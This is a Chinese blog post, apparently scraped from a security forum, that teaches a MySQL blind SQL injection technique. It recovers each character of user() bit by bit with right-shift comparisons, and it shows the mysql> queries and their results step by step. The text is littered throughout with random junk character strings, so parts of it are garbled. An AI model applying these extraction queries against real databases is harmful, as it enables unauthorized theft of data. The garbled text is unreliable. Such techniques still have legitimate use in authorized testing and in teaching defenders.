关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
% [9 b  F& r% y3 K9 D6 m4 F3 @

" s8 X8 |% H* @. d0 }9 ~
下面将以查询mysql数据库当中user()的第一位为例:

$ i4 ~- @' N! E! c( f' [
. x3 z9 H/ ~4 D3 w
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
) H* X$ s% R& c; A1 ^+ m, f0 d
# e: q& c& P! h/ k3 b& X1 Q1 E  D
# V! J7 E2 e( `
首先执行如下sql语句:


5 {& [' o7 h0 N& D
mysql> select (ascii((substr(user(),1,1))) >> 7)=0;
7 }7 j7 J8 Z0 O& ?( }


我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的

0 ^9 i% h: {- B* N: P

第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
$ c4 t, p1 ?: D' k) p) S
: c4 m+ l- E" ]. B* ~
  G5 v8 Q& C3 V* J# a0 Z/ t
如果运算结果为1,说明第一位为0,不为1
; n  H- [- g; k/ ]; _
% P8 M- ~+ v: ^  D% p- o1 m- r9 T/ w, b

- p7 v- S2 K' X4 i) j! E% B+————————————–+

| (ascii((substr(user(),1,1))) >> 7)=0 |
3 ]; u4 ]% z! C% D8 ^" h
+————————————–+

| 1 |

5 U4 e, `8 D" B, T" {8 h+————————————–+

4 o5 g6 @; [' q' s+ V1 row in set (0.00 sec)
/ M% x) h" S% h1 S, b& f. i
1 O1 f5 I7 L; N9 J" x% \这样我们就确定这个8bit的ascii的第一位为0

: i6 z& @. u0 V* r3 Z
- P% D+ {/ c0 r+ }6 d' d
7 x5 I, e7 i7 I1 ]第二次我们来做6次右偏移来确定前两位
4 N& O$ G$ d+ z! ?; T: J4 t& Z. q( B

( n+ s6 e" ^; V2 g4 T9 e/ I
8 j8 p8 G6 `8 o前两位可能是01或00,即依然可以与0做比较,

$ A) M% E9 P3 `/ K& U1 A) qmysql> select (ascii((substr(user(),1,1))) >> 6)=0;

/ n1 V3 \. b, b& P+ _" z" `% H+————————————–+

| (ascii((substr(user(),1,1))) >> 6)=0 |

+————————————–+

$ J+ ]# Z7 b+ g: x& a6 _| 0 |

3 f2 ?" G3 h7 t2 x: J' V% v, ^+ E+————————————–+
3 M1 m! b1 h% z; z1 A: L
1 row in set (0.00 sec)



/ p4 o- @2 T' \. `  B- O3 i! l结果为0,即第二位为1

: u& [2 h' ~7 r3 r
2 M8 P$ b0 i! E8 j! c, f3 n3 e" P
; S( L+ c- q8 L9 T' a* s  l* {  i开始猜测前三位为010或011
3 k1 w9 u. ^5 @9 v4 F
9 T" m- f& F& l5 ~0 y! _

让我们看看010和011的ascii码是多少
$ x0 X& m2 y; ~+ I

, c7 n+ a3 C0 @  d5 o$ W" i( v1 U) ~
3 j7 e+ q- q5 v5 [  l) c$ v' J7 |* \分别查询select b’011′ select b’010′
1 j" l! E* A  K! o8 ?+ w


: s" |) t% i8 w- t( O获得结果 010 = 2 011 = 3



执行如下sql:

3 _  A* k: G( j

mysql> select (ascii((substr(user(),1,1))) >> 5)=2;
' v3 ^% ?0 S4 A: w
$ a, X  h. H, K+ C4 p- O/ a+————————————–+
3 _% {  p5 B: y; p8 V
' I, ?0 I/ s( p| (ascii((substr(user(),1,1))) >> 5)=2 |
* W. C0 x$ C$ M$ b3 n0 r. g5 e2 _
+————————————–+

| 0 |

, v& h6 t; T( n+ |3 n1 N& V/ v+————————————–+
, u. y8 U6 Y0 x) j6 _! ^% s  e
0 K6 ]/ ^6 m( M+ ~) j即前三位不为010,而是011
, {1 M6 F4 }$ F3 x

7 K) f1 Q+ n3 m  X- o' @2 M+ j
5 N: ^) _; c) ]5 l1 O" }9 Q直到获得最后一位
1 ~1 r8 w1 j4 `( ^% c% I) M( a
" @! L9 H- X! m* M$ S* M7 b
, L1 k0 x2 P  E3 d) ]
最终结果为:01110010
0 I' N: D: e1 p; F) l4 {
0 t, P4 u, @3 _! f9 E' Z+ o. P

7 ]. E- Y& a' k# u9 A转换一下:
* Y# n$ h! A2 j# m# O
5 N1 ?; E& s& |- c& r( I, I

select b’01110010′


. @* w0 C2 q  @% H
0 l3 B2 Q7 x* u& I+ v; q7 @查询结果



+————-+

! u  [* d: J/ |' U: s+ o' f| b’01110010′ |

9 c0 P' G* a, ~2 o+————-+
9 M( A: h3 U2 n. i: p6 J
2 e# m! _+ [* h# u| r |

0 A- S: Q- l- `# K! p3 s, c+————-+

1 row in set (0.00 sec)

# {2 B8 s" c1 D, T% J  m; w
; x" |' g$ _1 e! F: D( M5 _
$ k$ U# L; v% Q- W5 H& x这样我们就获得了user()的第一位.其它位依此类推